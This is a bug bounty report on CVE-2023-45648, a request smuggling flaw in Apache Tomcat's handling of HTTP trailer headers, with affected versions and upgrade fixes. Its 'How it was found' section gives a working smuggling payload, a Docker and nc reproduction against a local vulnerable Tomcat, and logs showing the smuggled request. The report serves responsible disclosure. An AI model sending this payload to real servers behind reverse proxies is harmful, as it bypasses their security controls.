Internet Bug Bounty · Report #2299692
Request Smuggling in Apache Tomcat (Important, CVE-2023-45648)
Summary
[SECURITY] CVE-2023-45648 Apache Tomcat - Request Smuggling Severity: Important Vendor: The Apache Software Foundation
Versions Affected: Apache Tomcat 11.0.0-M1 to 11.0.0-M11 Apache Tomcat 10.1.0-M1 to 10.1.13 Apache Tomcat 9.0.0-M1 to 9.0.80 Apache Tomcat 8.5.0 to 8.5.93
Description: Tomcat did not correctly parse HTTP trailer headers. A specially crafted, invalid trailer header could cause Tomcat to treat a single request as multiple requests leading to the possibility of request smuggling when behind a reverse proxy.
Mitigation: Users of the affected versions should apply one of the following mitigations:
- Upgrade to Apache Tomcat 11.0.0-M12 or later
- Upgrade to Apache Tomcat 10.1.14 or later
- Upgrade to Apache Tomcat 9.0.81 or later
- Upgrade to Apache Tomcat 8.5.94 or later
Credit: This vulnerability was reported responsibly to the Tomcat security team by Keran Mu and Jianjun Chen from Tsinghua University and Zhongguancun Laboratory.
History: 2023-10-10 Original advisory
Full Security Advisory: https://lists.apache.org/thread/2pv8yz1pyp088tsxfb7ogltk9msk0jdp
How it was found
Apache Tomcat supports Trailer Section. However, we found that in version prior than 11.0.0-M11, 10.1.13, 9.0.80, 8.5.93, Apache Tomcat cannot properly parse the trailer section if there's no colon in the trailer header's line. It will skip the following lines until the last line with a valid colon-separated key-value header pair, which can be leveraged to perform HTTP request smuggling.
If we send the following payload, the headers of the second request (Line 12-15) will be regarded as the trailer section of the first request, while the content of the second request (Line 17-19) is processed as the second request. When sending this payload to other HTTP implementations such as NGINX, Line 12-21 would be the second request.
POST /benign_path HTTP/1.1
Host: a.com
Connection: keep-alive
Transfer-Encoding: chunked
5
12345
0
Content: hello
a
POST /benign_path HTTP/1.1
Host: a.com
Connection: keep-alive
Content-Length: 37
GET /evil_path HTTP/1.1
Any: any
Host: b.com
Reproduce:
docker run -d --name hrs_tomcat_11 -p 43022:8080 tomcat:10.1.13
echo -n 'POST /benign_path HTTP/1.1\r\nHost: a.com\r\nConnection: keep-alive\r\nTransfer-Encoding: chunked\r\n\r\n5\r\n12345\r\n0\r\nContent: hello\r\na\r\n\r\nPOST /benign_path HTTP/1.1\r\nHost: a.com\r\nConnection: keep-alive\r\nContent-Length: 37\r\n\r\nGET /evil_path HTTP/1.1\r\nAny: any\r\nHost: b.com\r\n\r\n' | nc 127.0.0.1 43022
docker exec -it hrs_tomcat_11 /bin/sh -c "cat /usr/local/tomcat/logs/localhost*"
Access log:
192.168.215.1 - - [30/Dec/2023:10:42:00 +0000] "POST /benign_path HTTP/1.1" 404 683
192.168.215.1 - - [30/Dec/2023:10:42:00 +0000] "GET /evil_path HTTP/1.1" 404 683
The screenshot of emails between Apache Tomcat Security Team and me is uploaded as the attachment.
Impact
It can be leveraged to perform HTTP request smuggling in order to bypass security mechanisms when Apache Tomcat is deployed behind a reverse proxy.